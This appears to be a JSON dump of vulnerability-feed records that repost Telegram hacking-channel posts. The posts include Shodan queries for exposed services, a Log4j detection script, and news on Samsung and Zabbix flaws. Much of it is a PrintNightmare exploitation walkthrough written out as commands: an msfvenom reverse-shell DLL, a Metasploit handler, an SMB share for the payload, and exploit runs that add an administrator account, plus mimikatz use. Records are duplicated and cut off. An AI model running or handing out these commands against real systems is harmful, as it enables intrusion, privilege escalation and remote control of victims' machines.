https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\ncheck into \u201cvuln:\u201d filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\nSTOCK_SEARCHES = {\n\u2018ANONYMOUS_FTP\u2019:\u2019ftp anonymous ok\u2019,\n\u2018RDP\u2019:\u2019port:3389 has_screenshot:true\u2019,\n\u2018OPEN_TELNET\u2019:\u2019port:23 console gateway -password\u2019,\n\u2018APACHE_DIR_LIST\u2019:\u2019http.title:\u201dIndex of /\u201d\u2018,\n\u2018SPRING_BOOT\u2019:\u2019http.favicon.hash:116323821\u2032,\n\u2018HP_PRINTERS\u2019:'\u201dSerial Number:\u201d \u201cBuilt:\u201d \u201cServer: HP HTTP\u201d\u2018,\n\u2018DOCKER_API\u2019:'\u201dDocker Containers:\u201d port:2375\u2032,\n\u2018ANDROID_ROOT_BRIDGE\u2019:'\u201dAndroid Debug Bridge\u201d \u201cDevice\u201d port:5555\u2032,\n\u2018MONGO_EXPRESS_GUI\u2019:'\u201dSet-Cookie: mongo-express=\u201d \u201c200 OK\u201d\u2018,\n\u2018CVE-2019-11510_PULSE_VPN\u2019:\u2019http.html:/dana-na/\u2019,\n\u2018CVE-2019-19781_CITRIX_NETSCALER\u2019:\u2019http.waf:\u201dCitrix NetScaler\u201d\u2018,\n\u2018CVE-2020-5902_F5_BIGIP\u2019:\u2019http.favicon.hash:-335242539 \u201c3992\u201d\u2018,\n\u2018CVE-2020-3452_CISCO_ASA_FTD\u2019:\u2019200 \u201cSet-Cookie: webvpn;\u201d\u2018\n}\nOPTIONAL\nIP or cidr range constraint for searches that return list of IP addresses\nuse comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)\nNET_RANGE = \u20180.0.0.0/0\u2019\n\nRun\ncd ../\npython3 shonydanza.py\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-3452", "author": {"login": "automation"}}, {"uuid": "404c3525-22e9-4676-bb2f-f0cf938e3933", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:05.654948+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/44457", "content": "Kali Linux Tutorials\nLog4J-Detect : Script To Detect The \u201cLog4j\u201d Java Library Vulnerability For A List Of URLs With Multithreading\n\nLog4J-Detect is a script \u201clog4j-detect.py\u201d developed in Python 3 is responsible for detecting whether a list of URLs are vulnerable to CVE-2021-44228.\n\nTo do so, it sends a GET request using threads (higher performance) to each of the URLs in the specified list. The GET request contains a payload that on success returns a DNS request to Burp Collaborator / interactsh. This payload is sent in a test parameter and in the \u201cUser-Agent\u201d / \u201cReferer\u201d / \u201cX-Forwarded-For\u201d / \u201cAuthentication\u201d headers. Finally, if a host is vulnerable, an identification number will appear in the subdomain prefix of the Burp Collaborator / interactsh payload and in the output of the script, allowing to know which host has responded via DNS.\n\nIt should be noted that this script only handles DNS detection of the vulnerability and does not test remote command execution.\n\nDownloading log4j-detect.py\n\nwget https://github.com/takito1812/log4j-detect/raw/main/log4j-detect.py\n\nRunning log4j-detect.py\n\npython3 log4j-detect.py\nhttps://blogger.googleusercontent.com/img/a/AVvXsEhqFKJHdlOcMRHGhHd_6TNDY8nU5c8pM3zYXRuXfovrJFynfKaDed5xpjY22SxC300G0zNC2WP8F_DZn9wNQp0IzdlSE1e7vzCtut9hEkuhAowlSxXNAAsMoFUYpc8CbZIbfa-lX4FRxSl9lV8_jziPU47xS-uvFO6BFvubxLD5fzgcyS8E12iJrk8x=s1241 \n\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-44228", "author": {"login": "automation"}}, {"uuid": "d69fc1f2-c32f-44c4-a535-d1cad6d323fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:05.617504+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/43987", "content": "graphic keys stored on the device: They also let attackers bypass security standards such as FIDO2.\n\nAccording to The Register, as of the researchers\u2019 disclosure of the flaws to Samsung in May 2021, nearly 100 million Samsung Galaxy phones were jeopardized. Threatpost has reached out to Samsung to verify that estimate.\n\nSamsung responded to the academics\u2019 disclosure by issuing a patch for affected devices that addressed CVE-2021-25444: an IV reuse vulnerability in the Keymaster Trusted Application (TA) that runs in the TrustZone. Keymaster TA carries out cryptographic operations in the Secure world via hardware, including a cryptographic engine. The Keymaster TA uses blobs, which are keys \u201cwrapped\u201d (encrypted) via AES-GCM. The vulnerability allowed for decryption of custom key blobs.\n\nThen, in July 2021, the researchers revealed a downgrade attack \u2013 one that lets attacker trigger IV reuse vulnerability with privileged process. Samsung issued another patch \u2013 to address CVE-2021-25490\u00a0\u2013 that remoged the legacy blob implementation from devices including Samsung\u2019s Galaxy S10, S20 and S21 phones. The Problem with Designing in the DarkIt\u2019s not just a problem with how Samsung implemented encryption, the researchers said. These problems arise from vendors \u2013 they called out Samsung and Qualcomm \u2013 keeping their cryptography designs close to the vest, the Tel Aviv U. team asserted.\n\n\u201cVendors including Samsung and Qualcomm maintain secrecy around their implementation and design of TZOSs and TAs,\u201d they wrote in their paper\u2019s conclusion.\n\n\u201cAs we have shown, there are dangerous pitfalls when dealing with cryptographic systems. The design and implementation details should be well audited and reviewed by independent researchers and should not rely on the difficulty of reverse engineering proprietary systems.\u201d See Also: Offensive Security Tool: Swaks \u2013 Swiss Army Knife for SMTP \u2018No Security in Obscurity\u2019Mike Parkin, senior technical engineer at enterprise cyber risk remediation SaaS provider Vulcan Cyber, told Threatpost on Wednesday that getting cryptography right isn\u2019t exactly child\u2019s play. It\u2019s \u201d a non-trivial challenge,\u201d he said via email. \u201cIt is by nature complex and the number of people who can do proper analysis, true experts in the field, is limited.\n\nParkin understands the reasons cryptologists push for open standards and transparency on how algorithms are designed and implemented, he said: \u201cA properly designed and implemented encryption scheme relies on the keys and remains secure even if an attacker knows the math and how it was coded, as long as they don\u2019t have the key.\u201d\n\nThe adage \u201cthere is no security in obscurity\u201d applies here, he said, noting that the researchers were able to reverse engineer Samsung\u2019s implementation and identify the flaws. \u201cIf university researchers could do this, it is certain that well-funded State, State sponsored, and large criminal organizations can do it too,\u201d Parkin said.\n\nJohn Bambenek, principal threat hunter at the digital IT and security operations company Netenrich, joins Parkin on the \u201copen it up\u201d side. \u201cProprietary and closed encryption design has always been a case study in failure,\u201d he noted via email on Wednesday, referring to the \u201cwide range of human rights abuses enabled by cell phone compromises,\u201d such as those perpetrated with the notorious Pegasus\u00a0spyware.\n\n\u201cManufacturers should be more transparent and allow for independent review,\u201d Bambenek said.\n\nWhile most users have little to worry about with these (since-patched) flaws, they \u201ccould be weaponized against individuals who are subject to state-level persecution, and it could perhaps be utilized by stalkerware,\u201d he added.\n\nEugene Kolodenker, staff security intelligence engineer at endpoint-to-cloud security company Lookout, agreed that best practice dictates designing security systems \u201cunder the assumption that the design and implementation of the system will be reverse-engineered[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-25444", "author": {"login": "automation"}}, {"uuid": "c4a6ccaf-ac2a-46b3-9744-45c759ab60f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:05.573034+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/43987", "content": "graphic keys stored on the device: They also let attackers bypass security standards such as FIDO2.\n\nAccording to The Register, as of the researchers\u2019 disclosure of the flaws to Samsung in May 2021, nearly 100 million Samsung Galaxy phones were jeopardized. Threatpost has reached out to Samsung to verify that estimate.\n\nSamsung responded to the academics\u2019 disclosure by issuing a patch for affected devices that addressed CVE-2021-25444: an IV reuse vulnerability in the Keymaster Trusted Application (TA) that runs in the TrustZone. Keymaster TA carries out cryptographic operations in the Secure world via hardware, including a cryptographic engine. The Keymaster TA uses blobs, which are keys \u201cwrapped\u201d (encrypted) via AES-GCM. The vulnerability allowed for decryption of custom key blobs.\n\nThen, in July 2021, the researchers revealed a downgrade attack \u2013 one that lets attacker trigger IV reuse vulnerability with privileged process. Samsung issued another patch \u2013 to address CVE-2021-25490\u00a0\u2013 that remoged the legacy blob implementation from devices including Samsung\u2019s Galaxy S10, S20 and S21 phones. The Problem with Designing in the DarkIt\u2019s not just a problem with how Samsung implemented encryption, the researchers said. These problems arise from vendors \u2013 they called out Samsung and Qualcomm \u2013 keeping their cryptography designs close to the vest, the Tel Aviv U. team asserted.\n\n\u201cVendors including Samsung and Qualcomm maintain secrecy around their implementation and design of TZOSs and TAs,\u201d they wrote in their paper\u2019s conclusion.\n\n\u201cAs we have shown, there are dangerous pitfalls when dealing with cryptographic systems. The design and implementation details should be well audited and reviewed by independent researchers and should not rely on the difficulty of reverse engineering proprietary systems.\u201d See Also: Offensive Security Tool: Swaks \u2013 Swiss Army Knife for SMTP \u2018No Security in Obscurity\u2019Mike Parkin, senior technical engineer at enterprise cyber risk remediation SaaS provider Vulcan Cyber, told Threatpost on Wednesday that getting cryptography right isn\u2019t exactly child\u2019s play. It\u2019s \u201d a non-trivial challenge,\u201d he said via email. \u201cIt is by nature complex and the number of people who can do proper analysis, true experts in the field, is limited.\n\nParkin understands the reasons cryptologists push for open standards and transparency on how algorithms are designed and implemented, he said: \u201cA properly designed and implemented encryption scheme relies on the keys and remains secure even if an attacker knows the math and how it was coded, as long as they don\u2019t have the key.\u201d\n\nThe adage \u201cthere is no security in obscurity\u201d applies here, he said, noting that the researchers were able to reverse engineer Samsung\u2019s implementation and identify the flaws. \u201cIf university researchers could do this, it is certain that well-funded State, State sponsored, and large criminal organizations can do it too,\u201d Parkin said.\n\nJohn Bambenek, principal threat hunter at the digital IT and security operations company Netenrich, joins Parkin on the \u201copen it up\u201d side. \u201cProprietary and closed encryption design has always been a case study in failure,\u201d he noted via email on Wednesday, referring to the \u201cwide range of human rights abuses enabled by cell phone compromises,\u201d such as those perpetrated with the notorious Pegasus\u00a0spyware.\n\n\u201cManufacturers should be more transparent and allow for independent review,\u201d Bambenek said.\n\nWhile most users have little to worry about with these (since-patched) flaws, they \u201ccould be weaponized against individuals who are subject to state-level persecution, and it could perhaps be utilized by stalkerware,\u201d he added.\n\nEugene Kolodenker, staff security intelligence engineer at endpoint-to-cloud security company Lookout, agreed that best practice dictates designing security systems \u201cunder the assumption that the design and implementation of the system will be reverse-engineered[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-25490", "author": {"login": "automation"}}, {"uuid": "0009939d-28ea-4c2b-aedb-bb043d7546c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:05.350303+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/43621", "content": "Black Hat Ethical Hacking\nCritical vulnerabilities in Zabbix Web Frontend allow authentication bypass, code execution on servers\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Critical vulnerabilities in Zabbix Web Frontend allow authentication bypass, code execution on serversPost Views: 208 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nTwo vulnerabilities in\u00a0open source\u00a0monitoring platform Zabbix could allow an attacker to bypass authentication and execute arbitrary code on a targeted server.\nThe security flaws were found in Zabbix Web Frontend, a platform used to collect, centralize. and track metrics such as CPU load and network traffic across entire infrastructures.\n\nResearchers from SonarSource, who discovered the bugs, noted that Zabbix is a high-profile target for threat actors due to its popularity, features, and its \u201cprivileged position in most company\u2019s networks\u201d. IssuesThe first vulnerability, tracked as CVE-2022-23131, which was given a severity of 9.1, is unsafe client-side session storage leading to authentication bypass/instance takeover via Zabbix Frontend with configured SAML.\n\nIn the case of instances where the SAML SSO authentication is enabled (non-default), session data can be modified by a malicious actor, because a user login stored in the session was not verified.\n\nA malicious unauthenticated actor could exploit this issue to escalate privileges and gain admin access to the Zabbix Frontend.\nSee Also: Complete Offensive Security and Ethical Hacking Course\nA caveat to this is that to perform the attack, SAML authentication is required to be enabled, and the assailant has to know the username of Zabbix user (or use the guest account, which is disabled by default), a security advisory\u00a0from Zabbix notes.\n\nThe second vulnerability found by SonarSource, tracked as CVE-2022-23134, is rated as medium severity and allows some steps of setup.php file to be reachable not only by super-administrators, but by unauthenticated users as well.\n\nA malicious actor could pass step checks and potentially change the configuration of Zabbix Frontend, an advisory notes.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH Patch nowIn a blog post from SonarSource, the researchers said that when writing and reviewing code related to important security features, \u201cit is easy to make the same assumptions as the original developer who introduced the vulnerability\u201d.\n\nThey wrote: \u201cHere, there were no integration tests related to the client-side session storage that could have spotted this behavior.\n\n\u201cAlways provide access to sensible services with extended internal accesses (e.g. orchestration, monitoring) over VPNs or a restricted set of IP addresses, harden filesystem permissions to prevent unintended changes, remove setup scripts, etc.\u201d\n\nFinally, the researchers recommended upgrading all instances running a Zabbix Web Frontend to 6.0.0beta2, 5.4.9, 5.0.19, or 4.0.37. See Also: Offensive Security Tool: Swaks \u2013 Swiss Army Knife for SMTP\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: How ILOVEYOU worm became the first global computer virus pandemic Source: portswigger.net Source Linkhttps://www.blackh[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-23131", "author": {"login": "automation"}}, {"uuid": "204eb1a1-dd24-4fdc-b2a7-6d16725c31f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:05.293739+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/43621", "content": "Black Hat Ethical Hacking\nCritical vulnerabilities in Zabbix Web Frontend allow authentication bypass, code execution on servers\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Critical vulnerabilities in Zabbix Web Frontend allow authentication bypass, code execution on serversPost Views: 208 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nTwo vulnerabilities in\u00a0open source\u00a0monitoring platform Zabbix could allow an attacker to bypass authentication and execute arbitrary code on a targeted server.\nThe security flaws were found in Zabbix Web Frontend, a platform used to collect, centralize. and track metrics such as CPU load and network traffic across entire infrastructures.\n\nResearchers from SonarSource, who discovered the bugs, noted that Zabbix is a high-profile target for threat actors due to its popularity, features, and its \u201cprivileged position in most company\u2019s networks\u201d. IssuesThe first vulnerability, tracked as CVE-2022-23131, which was given a severity of 9.1, is unsafe client-side session storage leading to authentication bypass/instance takeover via Zabbix Frontend with configured SAML.\n\nIn the case of instances where the SAML SSO authentication is enabled (non-default), session data can be modified by a malicious actor, because a user login stored in the session was not verified.\n\nA malicious unauthenticated actor could exploit this issue to escalate privileges and gain admin access to the Zabbix Frontend.\nSee Also: Complete Offensive Security and Ethical Hacking Course\nA caveat to this is that to perform the attack, SAML authentication is required to be enabled, and the assailant has to know the username of Zabbix user (or use the guest account, which is disabled by default), a security advisory\u00a0from Zabbix notes.\n\nThe second vulnerability found by SonarSource, tracked as CVE-2022-23134, is rated as medium severity and allows some steps of setup.php file to be reachable not only by super-administrators, but by unauthenticated users as well.\n\nA malicious actor could pass step checks and potentially change the configuration of Zabbix Frontend, an advisory notes.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH Patch nowIn a blog post from SonarSource, the researchers said that when writing and reviewing code related to important security features, \u201cit is easy to make the same assumptions as the original developer who introduced the vulnerability\u201d.\n\nThey wrote: \u201cHere, there were no integration tests related to the client-side session storage that could have spotted this behavior.\n\n\u201cAlways provide access to sensible services with extended internal accesses (e.g. orchestration, monitoring) over VPNs or a restricted set of IP addresses, harden filesystem permissions to prevent unintended changes, remove setup scripts, etc.\u201d\n\nFinally, the researchers recommended upgrading all instances running a Zabbix Web Frontend to 6.0.0beta2, 5.4.9, 5.0.19, or 4.0.37. See Also: Offensive Security Tool: Swaks \u2013 Swiss Army Knife for SMTP\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: How ILOVEYOU worm became the first global computer virus pandemic Source: portswigger.net Source Linkhttps://www.blackh[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-23134", "author": {"login": "automation"}}, {"uuid": "5e32cb3a-c600-417c-9cf6-2a0e8a90089f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:05.247936+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/43511", "content": "FdyzeiMeaOByoi6UxaY1rYpMd-Cl25S3av86e5GqOsBg7QqegONtaIzAnkPy9JGnAeKeX2jHcqkmmKLbJRjFSA34EdOC3rmt-0G-XPjEtqE19Lb7l0AdV0kgxlBiOAe64zjyHg1ZQ38ccDB1MpeJ89gmmS3kLLImaxgxTc6Q=s16000 \n\nNow, once the victim is compromised, we can upload this ps1 file in \\Users\\Public directory using IWR and setting up a python http server in the CVE-2021-1675 directory.\ncd CVE-2021-1675\npython3 -m http.server 80\npowershell wget http://192.168.1.2/CVE-2021-1675.ps1 -O \\Users\\Public\\cve.ps1\ncd C:\\Users\\Public\ndir \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhV5QX_bfm1HwRTOt7-bbOEh4acNDeHiLp_mWoZXllcQaBEJgPwv5T4Z1b7XSIcG3ep9FMEZsNAfzjH47LQwg2K9_0H1lsYRhZpHw7u_p3U9LOhy87LSPGlH68kYoELn6EnPkOp7SRsweQFAjeZGvYvz4dTs4abBpB7B3yvZEWR0jeLrQG4DYfb5Kcg-w=s16000 \n\nNow, we can execute this ps1 file using powershell. This powershell script will help us in adding a new user in the administrator group using the credentials specified. For that, we need to spawn interactive powershell and Invoke the module like so:\npowershell -ep bypass\nImport-Module .\\cve.ps1\nInvoke-Nightmare -NewUser \"harsh\" -NewPassword \"123\" -DriverName \"PrintMe\" \nhttps://blogger.googleusercontent.com/img/a/AVvXsEiMmenFoAuIRtWOt1XV3NPSMyjB_EeKHQW71ycKwtDxuRzCbezsomgzDP1R94z71PIWxMFQc_3ASWzbG_uvlCOqpivVmXj6l8x_Edpg92Qz8KVm203ho0-NcF7TWjmRYSta14levAffd6xUTTXJ2Z0rcaYg3TSknkcLAyLdeGlIxCU7HrLazhl5kWdTcA=s16000 \n\nAs you can see, the script has made a custom DLL that adds a new user \u201charsh\u201d with password 123 in admin group and the script has exploited print spool.\nnet localgroup administrator \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjm476TN7H3YlvqxDa1dYq4BrUhJUHeUM6B7XA05xAhW9XD3aE0yLp9N4Kphis7HZy_mMiO0GazkeL6sRW8vXJm1smajhy1UJwKOhfpIYKwffUrVISRkd7-e7DdOmuktmfeWYDcY4wigV3HDWXtxrUHN1x6BaC3DwQ-yFRfZyJjC7HG3N7TbYjoCFKYTw=s16000 \n\nWe can confirm this by logging in to the victim using psexec.\npython3 psexec.py harsh:123@192.168.1.190 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhXwS2ULWBm-dVWr2ZZ3fMPCZ3mtvMXMV7a7QNievbmtA0uuvGiuDwjnNBKSSdSaEsT45xbtNXUq6QAmuzftzuPcTny1CGqzUmRYjtmw_tz9EeKiKWe_mk0bn9nyn_XJwTlYM_unfZp6jQtDCQiqz6B0Gym7uUDmolyB3My1fSKoiwLRzCtiZv7HqC3tA=s16000 \n\nWe are able to log in with the credentials and can confirm using net user command that harsh is infact a member of administrators now. Method 3 \u2013 Printnightmare LPE using MimikatzWhen the PoC came on the internet, a new mimikatz plugin got added as a ritual in the misc section (misc::printnightmare). To exploit using mimikatz, we will use our existing DLL file \u201cevil.dll\u201d and also, we need our SMBserver running on the existing configuration. Now, we will download mimikatz.exe on our kali and start python HTTP server.\npython3 -m http.server 80\npowershell wget http://192.168.1.2/mimikatz.exe -O \\users\\Public\\mimikatz.exe\nmisc::printnightmare /library:\\\\192.168.1.2\\share\\evil.dll /authuser:ignite /authpassword:123 /try:50 \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjbPSehsyW5w9-_styKI9fjXjcQxml03A699x7Tvx4YipBMDT7pMyQREXWO81mhpDscJx50ZNFPgXa7lr08Rqxq1aOIpFFUubIAb3-xuhKE_q2kQ-jI8i6_NVEn25Bxe_-E38iiqygysu5p4qKMBTIFT2SnrVpgbGcRmkIHgK0bJhrlpV1E7RkDsSRFcw=s16000 \n\nAs mimikatz has confirmed the execution has been successful. It throws an exception (probably because of some characters in the DLL) but the DLL has worked anyway and a reverse shell has been received on multi/handler.\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEj6yzSnwBZy4M3Cxais8__2qdWrLRnohzaf0NvIni5rdqA4cLYNA4W5MzUtE1sx0_pRvvoxn7PUFH8EQMCrb0DXjnxN7lk797FjBg91YrAD4no7xhXRX_PadTQjUo6qp8QW193t6Rh79vebv1FTDKv68lyjf5_3WjtuEeQEWg-AbldS7P_DJ2YbtPuMyw=s16000 \n\nMake sure to set up a handler on Metasploit before running this command. If everything goes right, you shall see a reverse shell!\n\nAnd thus, we have conducted privilege escalation by exploiting PrintNightmare vulnerability. Patch StatusMicrosoft released out of band patches to deal with this vulnerability which can be found on the MSRC bulletin adv[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-1675", "author": {"login": "automation"}}, {"uuid": "720bd11b-d76f-4d7b-94c0-c2bfa74eeab8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:05.195182+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43509", "content": "col) has a method RpcAddPrinterDriverEx() which allows remote driver installation by users with the SeLoadDriverPrivilege right. This right is only with users in Administrator group. So, the exploit tries to bypass this authentication in RpcAddPrinterDriver. Technique given by afwu. Cube0x0 tweeted that he was able to achieve the same results by exploiting MS-PAR protocol\u2019s RpcAsyncAddPrinterDriver() method which is similar to RpcAddPrinterDriver and loads drivers remotely. Technique can be found here.\n\nWe will use both these techniques in this demonstration article. Vulnerability FlowTo understand the vulnerability flow, lets understand working of RpcAddPrinterDriver first. The steps are as follows:\n\n* Add a Printer Driver to a Server call (RpcAddPrinterDriver)\n* Client (Attacker) creates a share with printer driver files accessible\n* Client (attacker) crafts an MS-RPRN (Print System Remote Protocol) Driver container which has DRIVER_INFO_2 in it. (basically, these are variables that contain path of DLLs, type of architecture etc.)\n* Client (Attacker) calls:\nRpcAddPrinterDriver(\u201cMachine IPsThroughout the demo, following IP addresses have been taken:\n\nAttacker IP: 192.168.1.2\n\nVictim IP: 192.168.1.190\n\nCompromised Credentials used: ignite/123 Method 1 \u2013 PrintNightmare RCE using PythonThis is the method pertaining to CVE-2021-34527 (remote code execution as admin). You can find Cube0x0\u2019s official PoC here. We will be using a forked version here.\n\nFirst, we need to create a malicious DLL file which would run as ADMINISTRATOR. We use msfvenom for this.\nmsfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f dll -o evil.dll \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhuPKz1-qkbiH6YyS4YRq1sD7zWPg-ZnDz_n1Ryo4n7LkufoWoodkoYzm-RW8Ub9JG40lNsWTbUBGNZ7h43xjkCVI6PRMSrkKscjs2ulg64-W4dDW5Am4NdSuHoZEdsQD-7EYIfcZoDFw-LkBSZ06PUjnRmhv2qvQIBCeUgjqoMBRivPWXvme-F7viOUA=s16000 \n\nNow, we can check if the target is vulnerable or not using metasploit\u2019s auxiliary module. Here, I have entered a random path[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-34527", "author": {"login": "automation"}}, {"uuid": "223cd182-91f6-4b48-9955-cb3d6ea0887b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:05.146935+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43510", "content": "for DLL_PATH argument as I am not running the exploit, I just have to scan. In our testing, we found Metasploit\u2019s printnightmare to be unreliable and hence, we are not showing this technique here. You can test it on your own and see if it works for you though. This run confirmed that victim is vulnerable to printnightmare.\nuse auxiliary/admin/dcerpc/cve_2021_1675_printnightmare\nset RHOSTS 192.168.1.190\nset SMBUser ignite\nset SMBPass 123\nset DLL_PATH /\nexploit \nhttps://blogger.googleusercontent.com/img/a/AVvXsEglBTn-7Q406EupEG4rqdccohxaMM0taLtCcXX9Po0rGiAMpm7HwuHGPRsd8LPYPWb2iHCp_tuZG8toHlIyWPg1Xz-LPDph7vleOT01kFAuLQuQEbQtYYAKeGsp-utOY8a3ZoQRZag3Sq6QxjZpbOvj96HTPkxzziu7N8O7j52BidybdgsB17MOjlZzHg=s16000 \n\nWe now start a handler beforehand prior to executing our DLL file using the exploit.\nuse multi/handler\nset payload windows/x64/meterpreter/reverse_tcp\nset LHOST 192.168.1.2\nset LPORT 4444\nexploit \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvPWljeXZmeJEaqnmMAsaePtns1u2DeIen1YqrHn-kdJtXCHqE6EvFYeGSwqiSY7xg9nnKIypPRi2HbiowP7YnqZa_VwDNIdCVnlluxngjqDRNBBAwSK5mPACQibk05M745hPGDg9Sur6-DTrUvJVPi_RhHiCQipAuXRd4vf-cKdRFRl3-4BkqgYgQhw=s16000 \n\nNow, we need to clone the github repo. We are using a forked version of Cube0x0\u2019s original exploit.\ngit clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527\ncd PrintNightmare-CVE-2021-34527\nchmod 777 CVE-2021-34527.py \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhpxbZHqM3IylJSg07ByT9OInKzXK7VUHbqDQ-pIQNrjJ7HKiq6KVo0jve9tE-8u1Raw18sZM4l6i7C0bKhUbraV2wrRgBzEmBR_hcTvoY73Qy61wQ_4l286v4OEAskw6YoFLuLQuWmV77of4w5YXazdYKCZVNlYCF0lFAmj4ZEv9oaoRoqPdMcnv8oYg=s16000 \n\nAlright, one last step remaining is to host the malicious DLL in our SAMBA server. You can set up a samba server manually in Kali, use Windows host to host this or the easier approach is to use impacket\u2019s smbserver.\n\nAdd the share name you want (in my case, \u201cshare\u201d is used) and then supply the path (in my case, /root) where you have saved the malicious DLL.\npython3 /usr/share/doc/python3-impacket/examples/smbserver.py share /root \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhkRc_vf28ZdA73Tu3A8KMTQdOlBxV6DJ4tI-v-Epix0kXjIVjwHLbDD7aRu0BvYXs33W9vwHThm5S5jmUCT2qh2h01sedwZaIAcgsUoRY-j9SeQsDzjpay713OC_YyZX3OdcJ2UR-K8uRz_HYiPFXWB_dUsYmOKSar4blOBh56eyTLZFopy9-Oem3Lkg=s16000 \n\nWith everything prepped up and ready, we can launch the RCE exploit. The execution is simple\n\n./exploit.py credentials@IP \u2018UNC_PATH of DLL hosted\u2019\n\nHere, we just launched a share on impacket, we will use that as the UNC path\n./CVE-2021-34527.py ignite:123@192.168.1.190 '\\\\192.168.1.2\\share\\evil.dll' \nhttps://blogger.googleusercontent.com/img/a/AVvXsEiLMxAIFHYoDfNFX1Q7hFTX_xewYLi1t8X-ubA7a5mo1OEO8dDkslQVBkL6ue4IYfKYRgTwGZgmBv9NmO8_JyGtPUl1ra5rfsGppXNLy70jypzjqPsAEvajHthVKQ304TkGS53XxhHkhwa3lUSf8yomPpaRW99v7s4DFTV-kZK_5NTUMJBbCYYZHVXxUA=s16000 \n\nAs you can see, the victim has successfully executed our DLL file and returned us an administrator level session on the victim!\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEi-cJsoLFCiHhF_mINWMNCwEV-YUSjEGKu_GBfjXsLHyAnzcrQogResom4p7PLFa8zf2xOPyU10IW6SzlkjShspncLP4ln4wP67-WSlSnkfjJ67KUz6YGWjOxrgwjR0CZZtuLS0Lb1XTbSAIMv1ezEWWec4XXSRTXEuCOokJy6wJv8F7QT6-xXW10m5fw=s16000 Method 2 \u2013 PrintNightmare LPE using PowershellWe have seen the remote exploit pertaining to CVE 2021-34527. Now, we will see the older local privilege escalation exploit. AFWU had implemented the original exploit in C plus plus while Caleb Stewart and John Hammond created a working PoC in powershell. Unlike the traditional exploit, this version doesn\u2019t need an attacker to create SMB server in order to exploit. Instead of a remote UNC path injection, authors create a standalone DLL in temp directory and do a local UNC path injection.\ngit clone https://github.com/calebstewart/CVE-2021-1675.git\ncd CVE-2021-1675 && ls -al \nhttps://blogger.googleusercontent.com/img/a/AVvXsEioSYbe6pbkGih4ZUifWq[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-34527", "author": {"login": "automation"}}, {"uuid": "8a97602f-a1f0-4d0e-adf4-fdc2107d32e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T07:00:05.105370+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43510", "content": "for DLL_PATH argument as I am not running the exploit, I just have to scan. In our testing, we found Metasploit\u2019s printnightmare to be unreliable and hence, we are not showing this technique here. You can test it on your own and see if it works for you though. This run confirmed that 